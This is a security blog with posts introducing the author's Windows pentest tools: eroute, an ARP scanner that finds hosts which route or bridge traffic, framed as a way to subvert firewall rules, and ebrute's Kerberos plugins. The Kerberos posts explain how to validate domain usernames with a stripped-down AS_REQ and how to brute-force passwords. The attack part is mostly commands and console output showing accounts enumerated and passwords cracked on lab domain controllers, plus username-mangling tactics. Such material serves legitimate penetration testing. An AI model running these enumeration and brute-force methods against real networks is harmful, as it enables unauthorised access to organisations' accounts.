r00t

Friday, 1 March 2013

eroute v0.7

eroute is a simple arp scanner which can also do route checking through each host. It can quickly identify through the use of TCP, ICMP and other IP protocols (with mixed TTLs) hosts which are set to route packets and bridge networks. This small update adds in an options for trying all IP protocols (-allip) which in some assessments has been useful in identifying another method of egress.

route v0.7 - Edward Torkington
Usage: -r <range> -s <sourceIP> -d <deviceindex> -i <route check to destination ip/s for routing e.g.216.239.59.147-150> -I <route check to file containing destination ip/s e.g. alive-hosts.txt -p <route check port numbers , seperated .e.g. 80,443> -P <route check file containing port numbers, e.g. ports.txt> -syn <send syn packets to each of the ip/ports> -ping <send echo request to each of the ips> -allip <try all IP protocols> -ttl <send route check packets with normal TTL and with a TTL of 1> -t <time delay between packets (default 10ms)>Examples: Simple ARP -r 10.0.5-6.0-255 ARP from outside the range -r 192.168.0.1-255 -s 192.168.0.5 ARP with route checking -r 10.0.5-6.0-255 -i 209.85.229.103 -syn -p 80,443,3389 ARP with route checking (ttl 1) -r 10.0.5-6.0-255 -i 209.85.229.103 -syn -ttl -P c:\tools\wl\1-65535.txt ARP with all route checks -r 10.0.5-6.0-255 -i 209.85.229.103 -syn -ping -ttl -P c:\tools\wl\1-65535.txt

Requires:

Winpcap
.net Framework 2

Download:

http://www.r00t.tv/p/downloads.html

Friday, 11 May 2012

eroute - simple arp scanner with route checking

eroute

eroute is a simple arp scanner which can also do route checking through each host. It can quickly identify through the use of TCP and ICMP (with mixed TTLs) hosts which are set to route packets and bridge networks. This is obviously useful in subverting any firewall rules deployed on a network device. Some examples are detailed below:

* Arp scanner (-r 192.168.1.1-254)
* Check routes via TCP to google (-r 192.168.1.1-254 -i 209.85.229.103 -tcp)
* Check routes via ICMP to google (-r 192.168.1.1-254 -i 209.85.229.103 -ping)
* Check routes via TCP to google with a normal TTL/TTL of 1 (-r 192.168.1.1-254 -i 209.85.229.103 -tcp -ttl)
* Check routes via ICMP to google with a normal TTL/TTL of 1 (-r 192.168.1.1-254 -i 209.85.229.103 -ping -ttl)
* Check routes via TCP to a range of hosts (-r 192.168.1.1-254 -i 192.168.2.1-254 -tcp)
* Check routes via TCP to hosts stored in a file (-r 192.168.1.1-254 -I targets.txt -tcp)
* Check routes via TCP to hosts stored in a file with ports on the cmdline (-r 192.168.1.1-254 -I targets.txt -tcp -p 23,25,80,443,445,3389)
* Check routes via TCP to hosts stored in a file with ports from a file (-r 192.168.1.1-254 -I targets.txt -tcp -P 1-65535.txt)

As the routes are checked for incoming packets to the host, if you are port scanning at the same time the results might need some digging through. As such it is best to run in isolation.

Simple ARP Scan

C:\tools\dev\routeCheck\routeCheck\bin\Release>eroute.exe -r 192.168.8.1-254
eroute v0.5 - Edward Torkington
The following devices are available on this machine:
----------------------------------------------------

0) TAP-Win32 Adapter V9 IP'0.0.0.0' MAC'00FFDEC0CAC9'
1) VMware Virtual Ethernet Adapter IP'192.168.100.1' MAC'005056CC0001'
2) Intel(R) 82579LM Gigabit Network Connection IP'0.0.0.0' MAC'00FFD354C3BF'
3) Microsoft IP'0.0.0.0' MAC'A088B4672E55'
4) Check Point Virtual Network Adapter IP'0.0.0.0' MAC'54A4F7C7A111'
5) Microsoft IP'0.0.0.0' MAC'A088B4675E55'
6) Juniper Network Connect Virtual Adapter IP'0.0.0.0' MAC'00FFB0EED408'
7) Microsoft IP'192.168.8.202' MAC'A088B4672E54'
8) VMware Virtual Ethernet Adapter IP'192.168.233.1' MAC'005056C00908'
9) Check Point Virtual Network Adapter IP'172.19.111.147' MAC'541D2168BA22'

-- Please choose a device: 7
192.168.8.1 is-at A0:21:B7:10:27:AA
192.168.8.8 is-at 00:19:66:44:03:F1
192.168.8.9 is-at 00:50:56:7B:57:20
192.168.8.21 is-at 04:20:9A:21:10:04
192.168.8.82 is-at 00:50:56:12:05:99
192.168.8.204 is-at 00:0C:29:44:4A:33
192.168.8.201 is-at D0:23:DB:51:A1:B6
192.168.8.209 is-at 00:06:78:0D:8C:19
192.168.8.216 is-at 00:50:56:B4:00:0E
192.168.8.225 is-at 98:D6:BB:26:4F:28
192.168.8.226 is-at 00:50:56:89:6E:A7
192.168.8.254 is-at E0:46:9A:51:BA:12
Waiting 5 seconds for any responses...

Sorted:
192.168.8.1 is-at A0:21:B7:10:27:AA
192.168.8.8 is-at 00:19:66:44:03:F1 Asiarock Technology Limited
192.168.8.9 is-at 00:50:56:7B:57:20 VMWare, Inc.
192.168.8.21 is-at 04:20:9A:21:10:04
192.168.8.82 is-at 00:50:56:12:05:99 VMWare, Inc.
192.168.8.201 is-at D0:23:DB:51:A1:B6
192.168.8.204 is-at 00:0C:29:44:4A:33 VMware, Inc.
192.168.8.209 is-at 00:06:78:0D:8C:19 Marantz Japan, Inc.
192.168.8.216 is-at 00:50:56:B4:00:0E VMWare, Inc.
192.168.8.225 is-at 98:D6:BB:26:4F:28
192.168.8.226 is-at 00:50:56:89:6E:A7 VMWare, Inc.
192.168.8.254 is-at E0:46:9A:51:BA:12

Route checking to Google with ICMP

C:\tools\dev\routeCheck\routeCheck\bin\Debug>eroute.exe -d 7 -r 192.168.8.1-254 -i 209.85.229.103 -ping
eroute v0.5 - Edward Torkington
192.168.8.1 is-at A0:21:B7:10:27:AA
192.168.8.8 is-at 00:19:66:44:03:F1
192.168.8.9 is-at 00:50:56:7B:57:20
192.168.8.21 is-at 04:20:9A:21:10:04
192.168.8.82 is-at 00:50:56:12:05:99
192.168.8.204 is-at 00:0C:29:44:4A:33
192.168.8.209 is-at 00:06:78:0D:8C:19
192.168.8.216 is-at 00:50:56:B4:00:0E
192.168.8.225 is-at 98:D6:BB:26:4F:28
192.168.8.226 is-at 00:50:56:89:6E:A7
192.168.8.254 is-at E0:46:9A:51:BA:12
Waiting 5 seconds for any responses...

Sorted:
192.168.8.1 is-at A0:21:B7:10:27:AA
192.168.8.8 is-at 00:19:66:44:03:F1 Asiarock Technology Limited
192.168.8.9 is-at 00:50:56:7B:57:20 VMWare, Inc.
192.168.8.21 is-at 04:20:9A:21:10:04
192.168.8.82 is-at 00:50:56:12:05:99 VMWare, Inc.
192.168.8.204 is-at 00:0C:29:44:4A:33 VMware, Inc.
192.168.8.209 is-at 00:06:78:0D:8C:19 Marantz Japan, Inc.
192.168.8.216 is-at 00:50:56:B4:00:0E VMWare, Inc.
192.168.8.225 is-at 98:D6:BB:26:4F:28
192.168.8.226 is-at 00:50:56:89:6E:A7 VMWare, Inc.
192.168.8.254 is-at E0:46:9A:51:BA:12

Checking routes...
Recieved from : 209.85.229.103 MAC: A0:21:B7:10:27:AA Gateway: 192.168.8.1 [ICMP] 0,0,0
Recieved from : 209.85.229.103 MAC: A0:21:B7:10:27:AA Gateway: 192.168.8.1 [ICMP] 0,0,0
Waiting 5 seconds for any responses...

Route checking to Google with TCP and default ports

C:\tools\dev\routeCheck\routeCheck\bin\Debug>eroute.exe -d 7 -r 192.168.8.1-254 -i 209.85.229.103 -syn
eroute v0.5 - Edward Torkington
192.168.8.1 is-at A0:21:B7:10:27:AA
192.168.8.8 is-at 00:19:66:44:03:F1
192.168.8.9 is-at 00:50:56:7B:57:20
192.168.8.21 is-at 04:20:9A:21:10:04
192.168.8.82 is-at 00:50:56:12:05:99
192.168.8.204 is-at 00:0C:29:44:4A:33
192.168.8.209 is-at 00:06:78:0D:8C:19
192.168.8.216 is-at 00:50:56:B4:00:0E
192.168.8.225 is-at 98:D6:BB:26:4F:28
192.168.8.226 is-at 00:50:56:89:6E:A7
192.168.8.254 is-at E0:46:9A:51:BA:12
Waiting 5 seconds for any responses...

Sorted:
192.168.8.1 is-at A0:21:B7:10:27:AA
192.168.8.8 is-at 00:19:66:44:03:F1 Asiarock Technology Limited
192.168.8.9 is-at 00:50:56:7B:57:20 VMWare, Inc.
192.168.8.21 is-at 04:20:9A:21:10:04
192.168.8.82 is-at 00:50:56:12:05:99 VMWare, Inc.
192.168.8.204 is-at 00:0C:29:44:4A:33 VMware, Inc.
192.168.8.209 is-at 00:06:78:0D:8C:19 Marantz Japan, Inc.
192.168.8.216 is-at 00:50:56:B4:00:0E VMWare, Inc.
192.168.8.225 is-at 98:D6:BB:26:4F:28
192.168.8.226 is-at 00:50:56:89:6E:A7 VMWare, Inc.
192.168.8.254 is-at E0:46:9A:51:BA:12

Checking routes...
Recieved from : 209.85.229.103:80 MAC: A0:21:B7:10:27:AA Gateway: 192.168.8.1 [TCP] SYN ACK
Recieved from : 209.85.229.103:80 MAC: A0:21:B7:10:27:AA Gateway: 192.168.8.1 [TCP] SYN ACK
Recieved from : 209.85.229.103:80 MAC: A0:21:B7:10:27:AA Gateway: 192.168.8.1 [TCP] SYN ACK
Recieved from : 209.85.229.103:80 MAC: A0:21:B7:10:27:AA Gateway: 192.168.8.1 [TCP] SYN ACK
Recieved from : 209.85.229.103:80 MAC: A0:21:B7:10:27:AA Gateway: 192.168.8.1 [TCP] SYN ACK
Recieved from : 209.85.229.103:80 MAC: A0:21:B7:10:27:AA Gateway: 192.168.8.1 [TCP] SYN ACK

Route checking to Google with TCP and default ports (normal TTL/TTL of 1)

C:\tools\dev\routeCheck\routeCheck\bin\Debug>eroute.exe -d 7 -r 192.168.8.1-254 -i 209.85.229.103 -syn -ttl
eroute v0.5 - Edward Torkington
192.168.8.1 is-at A0:21:B7:10:27:AA
192.168.8.8 is-at 00:19:66:44:03:F1
192.168.8.9 is-at 00:50:56:7B:57:20
192.168.8.21 is-at 04:20:9A:21:10:04
192.168.8.82 is-at 00:50:56:12:05:99
192.168.8.204 is-at 00:0C:29:44:4A:33
192.168.8.209 is-at 00:06:78:0D:8C:19
192.168.8.216 is-at 00:50:56:B4:00:0E
192.168.8.225 is-at 98:D6:BB:26:4F:28
192.168.8.226 is-at 00:50:56:89:6E:A7
192.168.8.254 is-at E0:46:9A:51:BA:12
Waiting 5 seconds for any responses...

Sorted:
192.168.8.1 is-at A0:21:B7:10:27:AA
192.168.8.8 is-at 00:19:66:44:03:F1 Asiarock Technology Limited
192.168.8.9 is-at 00:50:56:7B:57:20 VMWare, Inc.
192.168.8.21 is-at 04:20:9A:21:10:04
192.168.8.82 is-at 00:50:56:12:05:99 VMWare, Inc.
192.168.8.204 is-at 00:0C:29:44:4A:33 VMware, Inc.
192.168.8.209 is-at 00:06:78:0D:8C:19 Marantz Japan, Inc.
192.168.8.216 is-at 00:50:56:B4:00:0E VMWare, Inc.
192.168.8.225 is-at 98:D6:BB:26:4F:28
192.168.8.226 is-at 00:50:56:89:6E:A7 VMWare, Inc.
192.168.8.254 is-at E0:46:9A:51:BA:12

Checking routes...
Recieved from : 82.46.101.1 MAC: A0:21:B7:10:27:AA Gateway: 192.168.8.1 [ICMP] 0,11,0
Recieved from : 82.46.101.1 MAC: A0:21:B7:10:27:AA Gateway: 192.168.8.1 [ICMP] 0,11,0
Recieved from : 209.85.229.103 MAC: A0:21:B7:10:27:AA Gateway: 192.168.8.1 [ICMP] 0,0,0
Recieved from : 209.85.229.103:80 MAC: A0:21:B7:10:27:AA Gateway: 192.168.8.1 [TCP] SYN ACK
Recieved from : 209.85.229.103 MAC: A0:21:B7:10:27:AA Gateway: 192.168.8.1 [ICMP] 0,0,0
Recieved from : 209.85.229.103:80 MAC: A0:21:B7:10:27:AA Gateway: 192.168.8.1 [TCP] SYN ACK
Recieved from : 209.85.229.103:80 MAC: A0:21:B7:10:27:AA Gateway: 192.168.8.1 [TCP] SYN ACK
Recieved from : 209.85.229.103:80 MAC: A0:21:B7:10:27:AA Gateway: 192.168.8.1 [TCP] SYN ACK
Recieved from : 209.85.229.103:80 MAC: A0:21:B7:10:27:AA Gateway: 192.168.8.1 [TCP] SYN ACK
Recieved from : 209.85.229.103:80 MAC: A0:21:B7:10:27:AA Gateway: 192.168.8.1 [TCP] SYN ACK

Route checking to Google with several ICMP and several TCP ports (normal TTL/TTL of 1)

C:\tools\dev\routeCheck\routeCheck\bin\Debug>eroute.exe -d 7 -r 192.168.8.1-254 -i 209.85.229.103 -syn -ping -ttl -p 21,22,23,25,80,88,111,443,445,338
9
eroute v0.5 - Edward Torkington
192.168.8.1 is-at A0:21:B7:10:27:AA
192.168.8.8 is-at 00:19:66:44:03:F1
192.168.8.9 is-at 00:50:56:7B:57:20
192.168.8.21 is-at 04:20:9A:21:10:04
192.168.8.1 is-at A0:21:B7:10:27:AA
192.168.8.82 is-at 00:50:56:12:05:99
192.168.8.204 is-at 00:0C:29:44:4A:33
192.168.8.209 is-at 00:06:78:0D:8C:19
192.168.8.216 is-at 00:50:56:B4:00:0E
192.168.8.225 is-at 98:D6:BB:26:4F:28
192.168.8.226 is-at 00:50:56:89:6E:A7
192.168.8.254 is-at E0:46:9A:51:BA:12
Waiting 5 seconds for any responses...

Sorted:
192.168.8.1 is-at A0:21:B7:10:27:AA
192.168.8.1 is-at A0:21:B7:10:27:AA
192.168.8.8 is-at 00:19:66:44:03:F1 Asiarock Technology Limited
192.168.8.9 is-at 00:50:56:7B:57:20 VMWare, Inc.
192.168.8.21 is-at 04:20:9A:21:10:04
192.168.8.82 is-at 00:50:56:12:05:99 VMWare, Inc.
192.168.8.204 is-at 00:0C:29:44:4A:33 VMware, Inc.
192.168.8.209 is-at 00:06:78:0D:8C:19 Marantz Japan, Inc.
192.168.8.216 is-at 00:50:56:B4:00:0E VMWare, Inc.
192.168.8.225 is-at 98:D6:BB:26:4F:28
192.168.8.226 is-at 00:50:56:89:6E:A7 VMWare, Inc.
192.168.8.254 is-at E0:46:9A:51:BA:12

Checking routes...
Recieved from : 209.85.229.103 MAC: A0:21:B7:10:27:AA Gateway: 192.168.8.1 [ICMP] 0,0,0
Recieved from : 209.85.229.103:80 MAC: A0:21:B7:10:27:AA Gateway: 192.168.8.1 [TCP] SYN ACK
Recieved from : 209.85.229.103:443 MAC: A0:21:B7:10:27:AA Gateway: 192.168.8.1 [TCP] SYN ACK
Recieved from : 82.46.101.1 MAC: A0:21:B7:10:27:AA Gateway: 192.168.8.1 [ICMP] 0,11,0
Recieved from : 82.46.101.1 MAC: A0:21:B7:10:27:AA Gateway: 192.168.8.1 [ICMP] 0,11,0
Recieved from : 82.46.101.1 MAC: A0:21:B7:10:27:AA Gateway: 192.168.8.1 [ICMP] 0,11,0
Recieved from : 82.46.101.1 MAC: A0:21:B7:10:27:AA Gateway: 192.168.8.1 [ICMP] 0,11,0
Recieved from : 82.46.101.1 MAC: A0:21:B7:10:27:AA Gateway: 192.168.8.1 [ICMP] 0,11,0
Recieved from : 82.46.101.1 MAC: A0:21:B7:10:27:AA Gateway: 192.168.8.1 [ICMP] 0,11,0
Recieved from : 82.46.101.1 MAC: A0:21:B7:10:27:AA Gateway: 192.168.8.1 [ICMP] 0,11,0
Recieved from : 82.46.101.1 MAC: A0:21:B7:10:27:AA Gateway: 192.168.8.1 [ICMP] 0,11,0
Recieved from : 209.85.229.103:80 MAC: A0:21:B7:10:27:AA Gateway: 192.168.8.1 [TCP] SYN ACK
Recieved from : 209.85.229.103:443 MAC: A0:21:B7:10:27:AA Gateway: 192.168.8.1 [TCP] SYN ACK
Recieved from : 209.85.229.103:80 MAC: A0:21:B7:10:27:AA Gateway: 192.168.8.1 [TCP] SYN ACK
Recieved from : 209.85.229.103:443 MAC: A0:21:B7:10:27:AA Gateway: 192.168.8.1 [TCP] SYN ACK
Recieved from : 209.85.229.103 MAC: A0:21:B7:10:27:AA Gateway: 192.168.8.1 [ICMP] 0,0,0
Recieved from : 209.85.229.103:80 MAC: A0:21:B7:10:27:AA Gateway: 192.168.8.1 [TCP] SYN ACK
Recieved from : 209.85.229.103:443 MAC: A0:21:B7:10:27:AA Gateway: 192.168.8.1 [TCP] SYN ACK
Recieved from : 192.168.8.1:1901 MAC: A0:21:B7:10:27:AA Gateway: 192.168.8.1 [UDP]
Recieved from : 82.46.101.1 MAC: A0:21:B7:10:27:AA Gateway: 192.168.8.1 [ICMP] 0,11,0
Recieved from : 209.85.229.103:80 MAC: A0:21:B7:10:27:AA Gateway: 192.168.8.1 [TCP] SYN ACK
Recieved from : 209.85.229.103 MAC: A0:21:B7:10:27:AA Gateway: 192.168.8.1 [ICMP] 0,0,0
Recieved from : 209.85.229.103:80 MAC: A0:21:B7:10:27:AA Gateway: 192.168.8.1 [TCP] SYN ACK
Recieved from : 209.85.229.103:443 MAC: A0:21:B7:10:27:AA Gateway: 192.168.8.1 [TCP] SYN ACK
Recieved from : 209.85.229.103:443 MAC: A0:21:B7:10:27:AA Gateway: 192.168.8.1 [TCP] SYN ACK
Recieved from : 192.168.8.1:1901 MAC: A0:21:B7:10:27:AA Gateway: 192.168.8.1 [UDP]
Recieved from : 209.85.229.103:80 MAC: A0:21:B7:10:27:AA Gateway: 192.168.8.1 [TCP] SYN ACK
Recieved from : 209.85.229.103:443 MAC: A0:21:B7:10:27:AA Gateway: 192.168.8.1 [TCP] SYN ACK

Requires:

Winpcap
.net Framework 2

Download:

http://www.r00t.tv/p/downloads.html

Tuesday, 6 December 2011

Kerberos Username Validation and Authentication Modules
I thought I would finally do a quick post about my kerberos enumeration and authentication modules for ebrute. I stumbled across this a few years ago when researching windows authentication mechanisms. A bit of tweaking allowed for the validation of a user account to be performed without a password guess via a single packet. Eventually I coded it into a usable plugin for ebrute. If you find yourself on a locked down network where you can't enumerate users via null shares or RID cycling this might just give you a nice starting point. It is best run it over UDP (upto millions of validations per minute) but a TCP validation module is also included. If it is not working try kerbenumtcp rather than kerbenum as shown in the examples below.

In brief, Windows uses kerberos extensively to allow communication over a non-secure network to prove identities in a secure manner. The simple attack included in ebrute can be used to validate user accounts on w2k/2k3/2k8 Domain Controllers. The approach taken was:

Take a standard AS_REQ
Remove the PA_ENC_TIMESTAMP (saves 98 bytes + and a password guess.)
Remove any unnecessary encryption types (saves ~16 bytes)
Remove host fields (saves ~30 bytes)
Change the client name to the user
Change the realm to the domain we are querying
Send packet
Parse the exceptions

Understanding the exceptions:

Invalid domain = KDC_ERR_WRONG_REALM
Invalid user = KDC_ERR_C_PRINCIPAL_UNKNOWN
Valid user = KDC_ERR_PREAUTH_REQUIRED

Lets look at this in action:

C:\tools\dev\br>ebrute
ebrute v0.76 - Edward Torkington
Usage: ebrute.exe -r [plugin] [options] [-u user|-U userfile] [-p pass|-P passfile] [-h host/hostrange|-H hostfile]
-u Username (, separated)
-U File containing usernames
-up Username prefix
-us Username suffix
-uml Username min length
-uxl Username max length
-p Password (, separated)
-P File containing passwords
-pp Password prefix
-ps Password suffix
-pml Password min length
-pxl Password max length
-h Host or range (nmap style)
-H File containing hosts
-s Connect via SSL
-pn Port number if not default
-c File, colon separated 'login:pass' format, instead of -U/-P options
-R File, with restore information saved via F12
-j Joey check
-n Null/blank check
-S Shared passwords optimisation
-t Number of threads [1].
-d Check all passwords for each user (default removes user after success)
-un Always perform uniqueness checks (default <5000 items otherwise slow startup...)
-df Disable the user filter (ignores guest, support, kerberos, IIS accounts etc...)
-a Disable host connectivity checks
-l File to output log to
-sr Max retries for scanner to determine if the service is alive [3]
-sr Max timeout in ms for scanner to determine if the service is alive [500]
-jp Just print out the attempts to be made
-v Verbose
-vv Very Verbose
-vvv Very Very Verbose
-e Extra parameters to pass to plugin
-de Forced delay between tasks (ms)
-r plugin - see below
-rr view detailed plugin help

finger ftp kerbauth kerbenum kerbenumtcp ldap lw mssql
mssqlodbc mssqlole mssqlmanaged mysql pop3 postgres process smbrawlmv2sh
smbrawlmv2mh smbrawntlmv2mh smbapilm smbapintlm smbapintlmv2 smtplogin smtpcram smtpntlm
smtpntlmbasic snmp ssh sshalt tcpfuzzerrandom tkpt tkptrandom tftp
udpfuzzerrandom vmware vnc wmi wwwbasic wwwdigest wwwntlm wwwntlmv2

Keys during tasks
v to increase debug level
b to decrease debug level
+ to increase active threads
- to decrease active threads
p to pause/resume current job
s to show authentication successes so far
d to delete an IP address from the list
F12 to save current progress, resume with parameter -R.
Control + c to quit nicely (hold down to force!)

ERROR: No hosts specified.

C:\tools\dev\br>ebrute -r kerbenum -P c:\tools\wl\std.txt -h 192.168.8.23 -e win2k3r2domain -t 32
ebrute v0.76 - Edward Torkington
Loading passes...
Parsing passes...
Username not specified (normal behavior for some plugins - lets do joey checks)
Added: 28,881 user(s), 0 password(s), 1 host(s), + joeycheck 28,881 tasks over 32 thread/s.
Starting: 06/12/2011 15:42:15
[5] HOST: '192.168.8.23' | USER: 'abc' | PASS: 'abc' | EXTRA: 'win2k3r2domain' | Return code: 'Success' []
[6] HOST: '192.168.8.23' | USER: 'administrator' | PASS: 'administrator' | EXTRA: 'win2k3r2domain' | Return code: 'Success' []
[22] HOST: '192.168.8.23' | USER: 'bob' | PASS: 'bob' | EXTRA: 'win2k3r2domain' | Return code: 'Success' []
[11] HOST: '192.168.8.23' | USER: 'guest' | PASS: 'guest' | EXTRA: 'win2k3r2domain' | Return code: 'Success' []
[5] HOST: '192.168.8.23' | USER: 'test1' | PASS: 'test1' | EXTRA: 'win2k3r2domain' | Return code: 'Success' []
[15] HOST: '192.168.8.23' | USER: 'test2' | PASS: 'test2' | EXTRA: 'win2k3r2domain' | Return code: 'Success' []
[4] HOST: '192.168.8.23' | USER: 'test' | PASS: 'test' | EXTRA: 'win2k3r2domain' | Return code: 'Success' []
Complete: 06/12/2011 15:42:23
Stats: 00:00:08 (~215,491 tasks/minute) (Performed 28,881 / 28,881 tasks)

Summary of Authentication Successes:
HOST: '192.168.8.23' | USER: 'abc' | PASS: 'abc' | EXTRA: 'win2k3r2domain' | Return code: 'Success'
HOST: '192.168.8.23' | USER: 'administrator' | PASS: 'administrator' | EXTRA: 'win2k3r2domain' | Return code: 'Success'
HOST: '192.168.8.23' | USER: 'bob' | PASS: 'bob' | EXTRA: 'win2k3r2domain' | Return code: 'Success'
HOST: '192.168.8.23' | USER: 'guest' | PASS: 'guest' | EXTRA: 'win2k3r2domain' | Return code: 'Success'
HOST: '192.168.8.23' | USER: 'test1' | PASS: 'test1' | EXTRA: 'win2k3r2domain' | Return code: 'Success'
HOST: '192.168.8.23' | USER: 'test2' | PASS: 'test2' | EXTRA: 'win2k3r2domain' | Return code: 'Success'
HOST: '192.168.8.23' | USER: 'test' | PASS: 'test' | EXTRA: 'win2k3r2domain' | Return code: 'Success'

We can see that the summary of authentication successes gives us 7 user accounts to play with. Whilst the user and pass is printed this is only user validation at this point. We can now use a whole host of tools (including ebrute) to perform a brute force of any services that use these accounts. Further enumeration tricks can be done, for example:

Fast enough to do a-z (1,4 in length sometimes even 5)
Prefixing admin,adm,admin-,adm-,svc onto account names
Performing brute forcing of common names in different formats to guess the user account pattern

Typically, this methodology leads to around 70% of domain accounts being discovered. The first can be performed easily by supplying a dictionary of a-z permutations. The second can be performed easily through ebrute with the password prefix option -pp. An example against a different windows 2008 domain is shown below:

C:\tools\dev\br>ebrute -r kerbenum -e w2k8r00t -P c:\tools\wl\main.txt -pp svc- -h 192.168.8.88 -t 16
ebrute v0.76 - Edward Torkington
Loading passes...
Parsing passes...
Username not specified (normal behavior for some plugins - lets do joey checks)
Added: 7,921,039 user(s), 0 password(s), 1 host(s), + joeycheck 7,921,039 tasks over 16 thread/s.
Starting: 06/12/2011 21:42:36
Tasks remaining: 7,915,604 (Performance: ~161,820 tasks/minute, 50 minutes remain)
[2] HOST: '192.168.8.88' | USER: 'svc-1luvial' | PASS: 'svc-1luvial' | EXTRA: 'w2k8r00t' | Return code: 'Unknown' [Error, possibly reduce threads (At
tempt 1/5)]
[1] HOST: '192.168.8.88' | USER: 'svc-1luvia1' | PASS: 'svc-1luvia1' | EXTRA: 'w2k8r00t' | Return code: 'Unknown' [Error, possibly reduce threads (At
tempt 1/5)]
[11] HOST: '192.168.8.88' | USER: 'svc-49-57584' | PASS: 'svc-49-57584' | EXTRA: 'w2k8r00t' | Return code: 'Unknown' [Error, possibly reduce threads
(Attempt 1/5)]
Tasks remaining: 7,595,408 (Performance: ~355,773 tasks/minute, 22 minutes remain)
[14] HOST: '192.168.8.88' | USER: 'svc-UREN1' | PASS: 'svc-UREN1' | EXTRA: 'w2k8r00t' | Return code: 'Unknown' [Error, possibly reduce threads (Attem
pt 1/5)]
Tasks remaining: 7,235,127 (Performance: ~360,281 tasks/minute, 21 minutes remain)
[8] HOST: '192.168.8.88' | USER: 'svc-ade1antamiento' | PASS: 'svc-ade1antamiento' | EXTRA: 'w2k8r00t' | Return code: 'Unknown' [Error, possibly redu
ce threads (Attempt 1/5)]
Tasks remaining: 6,875,006 (Performance: ~360,121 tasks/minute, 20 minutes remain)
Tasks remaining: 6,511,282 (Performance: ~363,724 tasks/minute, 19 minutes remain)
Tasks remaining: 6,144,904 (Performance: ~366,378 tasks/minute, 18 minutes remain)
Tasks remaining: 5,785,394 (Performance: ~359,510 tasks/minute, 17 minutes remain)
Tasks remaining: 5,428,181 (Performance: ~357,213 tasks/minute, 16 minutes remain)
Tasks remaining: 5,067,123 (Performance: ~361,058 tasks/minute, 15 minutes remain)
Tasks remaining: 4,718,858 (Performance: ~360,274 tasks/minute, 14 minutes remain)
Tasks remaining: 4,352,219 (Performance: ~366,639 tasks/minute, 13 minutes remain)
[12] HOST: '192.168.8.88' | USER: 'svc-konflikterend' | PASS: 'svc-konflikterend' | EXTRA: 'w2k8r00t' | Return code: 'Unknown' [Error, possibly reduc
e threads (Attempt 1/5)]
[10] HOST: '192.168.8.88' | USER: 'svc-konflikterende' | PASS: 'svc-konflikterende' | EXTRA: 'w2k8r00t' | Return code: 'Unknown' [Error, possibly red
uce threads (Attempt 1/5)]
Tasks remaining: 3,997,140 (Performance: ~361,097 tasks/minute, 12 minutes remain)
Tasks remaining: 3,634,897 (Performance: ~362,243 tasks/minute, 11 minutes remain)
[5] HOST: '192.168.8.88' | USER: 'svc-mssql' | PASS: 'svc-mssql' | EXTRA: 'w2k8r00t' | Return code: 'Success' []
Tasks remaining: 3,266,697 (Performance: ~368,200 tasks/minute, 10 minutes remain)
Tasks remaining: 2,902,300 (Performance: ~364,397 tasks/minute, 9 minutes remain)
Tasks remaining: 2,540,417 (Performance: ~361,883 tasks/minute, 8 minutes remain)
[1] HOST: '192.168.8.88' | USER: 'svc-r0ckhair' | PASS: 'svc-r0ckhair' | EXTRA: 'w2k8r00t' | Return code: 'Unknown' [Error, possibly reduce threads (
Attempt 1/5)]
[16] HOST: '192.168.8.88' | USER: 'svc-r0ckham' | PASS: 'svc-r0ckham' | EXTRA: 'w2k8r00t' | Return code: 'Unknown' [Error, possibly reduce threads (A
ttempt 1/5)]
[4] HOST: '192.168.8.88' | USER: 'svc-r0ckham'z' | PASS: 'svc-r0ckham'z' | EXTRA: 'w2k8r00t' | Return code: 'Unknown' [Error, possibly reduce threads
(Attempt 1/5)]
[13] HOST: '192.168.8.88' | USER: 'svc-r0ckh@m'$' | PASS: 'svc-r0ckh@m'$' | EXTRA: 'w2k8r00t' | Return code: 'Unknown' [Error, possibly reduce thread
s (Attempt 1/5)]
Tasks remaining: 2,180,575 (Performance: ~359,842 tasks/minute, 7 minutes remain)
Tasks remaining: 1,820,347 (Performance: ~360,228 tasks/minute, 6 minutes remain)
Tasks remaining: 1,458,620 (Performance: ~361,727 tasks/minute, 5 minutes remain)
Tasks remaining: 1,097,220 (Performance: ~361,400 tasks/minute, 4 minutes remain)
Tasks remaining: 737,893 (Performance: ~359,327 tasks/minute, 3 minutes remain)
Tasks remaining: 376,757 (Performance: ~361,136 tasks/minute, 2 minutes remain)
[3] HOST: '192.168.8.88' | USER: 'svc-ycnangup' | PASS: 'svc-ycnangup' | EXTRA: 'w2k8r00t' | Return code: 'Unknown' [Error, possibly reduce threads (
Attempt 1/5)]
Tasks remaining: 14,947 (Performance: ~361,810 tasks/minute, 1 minutes remain)
Complete: 06/12/2011 22:04:14
Stats: 00:21:37 (~366,186 tasks/minute) (Performed 7,921,039 / 7,921,039 tasks)

Summary of Authentication Successes:
HOST: '192.168.8.88' | USER: 'svc-mssql' | PASS: 'svc-mssql' | EXTRA: 'w2k8r00t' | Return code: 'Success'

The last can also be performed with a custom dictionary to find out the format. Another tool (which I'll stick on here shortly) helps generate these dictionaries. The dictionary shown below takes the top ~100 common names from the US census and mangles them as follows:

FirstnameSurname
Firstname.Surname
SurnameFirstname
Surname.Firstname
Firstname_Surname
Surname_Firstname
Firstname-Surname
Surname-Firstname

You now have many more user accounts to guess passwords for.

Kerberos Authentication
Kerberos authentication was undertaken establishing the cipher suites supported by each version of windows and reading of the RFCs.

Lots of different cipher suites are supported:

AES256-CTS-HMAC-SHA1-96
AES128-CTS-HMAC-SHA1-96
RC4-HMAC
DES-CBC-MD5
DES-CBC-CRC

Send an AS-REQ using one of the ciphers above

RC4-HMAC supported across Windows 2000/2003/2008
K = MD4 the user password (NTLM)
K1 = HMAC-MD5(K, MessageType)
Checksum = HMAC-MD5(K1,Timestamp)
K3 = HMAC-MD5(K1,Checksum)
EncryptedTimestamp = RC4(Timestamp,K3)
Request includes a concatenation of the Checksum and EncryptedTimestamp

An example below demonstrates the kerberos authentication plugin:

C:\tools\dev\br>ebrute -r kerbauth -u abc,administrator,test -j -n -P c:\tools\wl\std.txt -h 192.168.8.23 -e win2k3r2dom
ain -t 32
ebrute v0.76 - Edward Torkington
Loading passes...
Parsing passes...
Added: 3 user(s), 28,881 password(s), 1 host(s), + joeycheck + blankcheck 86,649 tasks over 32 thread/s.
Starting: 06/12/2011 15:46:12
[21] HOST: '192.168.8.23' | USER: 'administrator' | PASS: 'Passw0rd123' | EXTRA: 'win2k3r2domain' | Return code: 'Success' []
[13] HOST: '192.168.8.23' | USER: 'test' | PASS: 'password' | EXTRA: 'win2k3r2domain' | Return code: 'Success' []
Complete: 06/12/2011 15:46:37
Stats: 00:00:25 (~136,486 tasks/minute) (Performed 56,918 / 86,649 tasks)

Summary of Authentication Successes:
